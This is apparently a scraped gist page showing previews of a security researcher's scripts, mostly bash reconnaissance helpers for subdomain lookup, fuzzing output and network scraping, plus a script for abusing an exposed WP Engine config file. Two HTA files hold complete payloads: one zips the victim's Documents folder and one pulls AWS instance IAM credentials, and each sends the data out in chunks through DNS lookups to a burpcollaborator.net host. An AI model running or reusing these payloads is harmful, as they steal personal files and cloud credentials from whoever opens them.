This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# If you find a site with /_wpeprivate/config.json file exposed, run this and get all kinds of fun goodies. | |
# If it "no worked" (Technical Term) then you probably need to install jq! | |
TARGET=$1 | |
TARGETDOMAIN=$(echo $TARGET | cut -d/ -f3) | |
# Pretty Colors | |
RESET='\033[00m' | |
GREEN='\033[01;32m' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# If it "no worked" (Technical Term) then you probably need to install jq! | |
# Pretty Colors | |
RESET='\033[00m' | |
BLUE='\033[01;34m' | |
usage() { | |
echo -e ${BLUE}"Usage: $0 [ -a APPID ] [ -s SESSION ]"${RESET} 1>&2 | |
echo -e ${BLUE}"\n Example: "${RESET} 1>&2 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html><head><meta name=ProgId content=htafile></head> | |
<hta:application id=x><script> | |
try { if (x.commandLine != ""){ | |
new ActiveXObject('WScript.Shell').Run("powershell.exe -command $a00=(Resolve-Path ~);Compress-Archive -Path $a00/Documents -DestinationPath 'a.zip';$c=[Convert]::ToBase64String([IO.File]::ReadAllBytes('a.zip'));$r1=$c | Foreach-Object {$_.Replace('=', 'EQ')};$r2=$r1 | Foreach-Object {$_.Replace('/', 'SLASH')};$r3=$r2 | Foreach-Object {$_.Replace('+', 'PLUS')};$e=($r3 -split '(.{50})'| ? {$_});for ($i=0;$i -lt $e.Length; $i++) { $f=$e[$i]+'.'+$i.ToString()+'.u61vj1t81tyg2t3az0hb4ujvum0co1.burpcollaborator.net';nslookup -type=A $f;sleep(2)}",1) | |
} | |
} | |
catch(ex){ alert('Error');} | |
</script> | |
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html><head><meta name=ProgId content=htafile></head> | |
<hta:application id=x><script> | |
try { if (x.commandLine != ""){ | |
new ActiveXObject('WScript.Shell').Run("powershell.exe -command $a=Invoke-RestMethod -Uri http://169.254.169.254/latest/ | |
meta-data/iam/security-credentials/aws-ec2-role;$b=($a|Out-String);$c=[System.Text.Encoding]::UTF8.GetBytes($b);$d=[Syst | |
em.Convert]::ToBase64String($c);$e=($d -split '(.{50})'| ? {$_});for ($i=0;$i -lt $e.Length; $i++) { $f=$e[$i]+'.'+$i.To | |
String()+'.s5y5rjxrqu1g4ypp09vzwclb127xvm.burpcollaborator.net';nslookup -type=A $f;sleep(2)}",1) | |
} | |
} | |
catch(ex){ alert('Error');} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<iframe width="100%" height="100%" src="https://www.youtube.com/embed/dQw4w9WgXcQ?autoplay=1&allow=autoplay" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
curl -s -k -o $1.json "https://api.c99.nl/subdomainfinder?key=XXXXX-XXXXX-XXXXX-XXXXX&domain=$1&json" | |
jq '.subdomains|.[].subdomain' $1.json > subdomain | |
jq '.subdomains|.[].ip' $1.json > ips | |
jq '.subdomains|.[].cloudflare' $1.json > cloudflare | |
subdomains_len=$(wc -l subdomain | awk '{print $1}') | |
ips_len=$(wc -l ips | awk '{print $1}') | |
cloudflare_len=$(wc -l cloudflare | awk '{print $1}') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Run ffuf with whatever command line flags before running this, but then this will make it pretty after | |
# ./ffufs.sh <previous ffuf results> | |
# ./ffufs.sh bla.csv | |
# Pretty Colors | |
RESET='\033[00m' | |
RED='\033[01;31m' | |
GREEN='\033[01;32m' | |
BLUE='\033[01;34m' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Domain Search Broke Currently on ipv4info.com | |
# ASN Search I Don't Care Enough to Do it | |
# ./ipv4info.sh COMPANYNAME | |
# ./ipv4info.sh IPADDRESS | |
ipv4info-compname(){ | |
URL="$(echo 'http://ipv4info.com/?act=check&ip='${COMPANYNAME} )" | |
curl -sLk $URL -o $COMPANYNAME.html | |
html2csv $COMPANYNAME.html > $COMPANYNAME.csv |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Dependencies: anew,linux,html2csv | |
pcsv() { | |
column -t -s"," | less -F -S -X -K | |
} | |
bgphenet() { | |
IPCIDRNAME=$(echo $TARGET | sed 's#/#-#g') | |
CMDBASE="google-chrome --dump-dom --disable-gpu --headless --run-all-compositor-stages-before-draw --virtual-time-budget=10000" | |
YOJUSTRUNBGPS=$CMDBASE | |
YOJUSTRUNBGPS+=" $BGPHENETURL/net/$TARGET#_dns" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
PROGS='\033[01;91m' | |
TEXTS='\033[01;90m' | |
RESET='\033[00m' | |
DASHES="------------------------------------" | |
# Dependencies: htmlq, html-to-csv | |
# cargo install htmlq | |
# pip install html-to-csv |
OlderNewer